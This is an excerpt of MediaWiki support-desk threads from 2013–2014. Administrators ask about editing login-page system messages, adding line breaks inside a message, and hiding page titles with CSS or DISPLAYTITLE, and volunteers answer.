Maybe the page is protected. I looked for that and the only thing I could find mentions a "Vector" and the "Protect Page" link there. Where is the "Vector" Link/Menu?

regards, Michael 80.101.98.107 (talk) 17:51, 30 November 2013 (UTC)

Took a short while to find out how to login... Additionally, how can I create my own "Special:" pages (e.g., Special:Agreement) as a way to automatically protect them?

MediaWiki version is 1.19.9

Thanks! MichaelFelt (talk) 18:05, 30 November 2013 (UTC)

Hi Michael,

what you want basically is easy to achieve. :-)

View the login page and then add to the URL ?uselang=qqx or &uselang=qqx, if there already are parameters. You will see the name of the system messages, which MediaWiki is using on the page. Now pick that message, which you want to change, let's say it would be called "logintext" and then go to the wiki page MediaWiki:Logintext. Being a wiki admin, you can edit this text to the text you want. You can edit languages by adding them to the URL, e.g. you can edit the German text by modifying MediaWiki:Logintext/de. 88.130.68.65 18:41, 30 November 2013 (UTC)

This was what I was looking for to edit MediaWiki:Createacct-another-join and add in instructions on what the format should be for the username. However, when I add text to this and save, when I go to Special:Userlogin to see how it looks, it does not recognize that it should be on the next line down.

What I want:

Enter the new account's information below.

Please use first initial and last name.

How it ends up looking:

Enter the new account's information below.Please use first initial and

last name.

Please let me know what I can do. Thank you. 107.0.33.130 02:47, 12 February 2014 (UTC)

Sorry, last post did not show what I meant:

This was what I was looking for to edit MediaWiki:Createacct-another-join and add in instructions on what the format should be for the username. However, when I add text to this and save, when I go to Special:Userlogin to see how it looks, it does not recognize that it should be on the next line down.

What I want:

Enter the new account's information below.

Please use first initial and last name.

How it ends up looking:

Enter the new account's information below.Please use first initial and

last name.

Please let me know what I can do. Thank you. 107.0.33.130 02:55, 12 February 2014 (UTC)

Your problem is that you have one single message and that you want to have a line break inside it.

According to Localisation#Be_aware_of_whitespace_and_line_breaks you should "try to use literal newlines rather than "\n" characters in the message files; while \n works in double-quoted strings, the file will be formatted more consistently if you stay literal." 88.130.82.19 14:38, 12 February 2014 (UTC)

Got it now! Thank you very much! 107.0.33.130 18:34, 12 February 2014 (UTC)

How to hide the page title?

Hello!

Here there is method how to hide the title of any page. But, how to hide the title for the page for example Portal:Arts? I think, problem in such code

body.page-Portal:Arts h1.firstHeading { display:none; }

is in symbol colon. I would be grateful for any advice :D ZelChief (talk) 21:32, 30 November 2013 (UTC)

Hi!

Yeah, colons (coli?) are not allowed inside CSS classes and IDs; CSS uses them as selectors instead. MediaWiki replaces the colon in the class name with an underscore. The class of your page e.g. is page-Portal_Arts. Btw.: I have just looked into the page's sourcecode to find out, but ...schhh... don't tell anyone. ;-) 88.130.68.65 03:16, 1 December 2013 (UTC)

Thank you very much! ^_^ ZelChief (talk) 14:47, 1 December 2013 (UTC)

Just add the following code in your page:

{{DISPLAYTITLE:<span style="display:none">{{FULLPAGENAME}}</span>}}

Ciao ! 216.113.24.1 16:04, 2 December 2013 (UTC)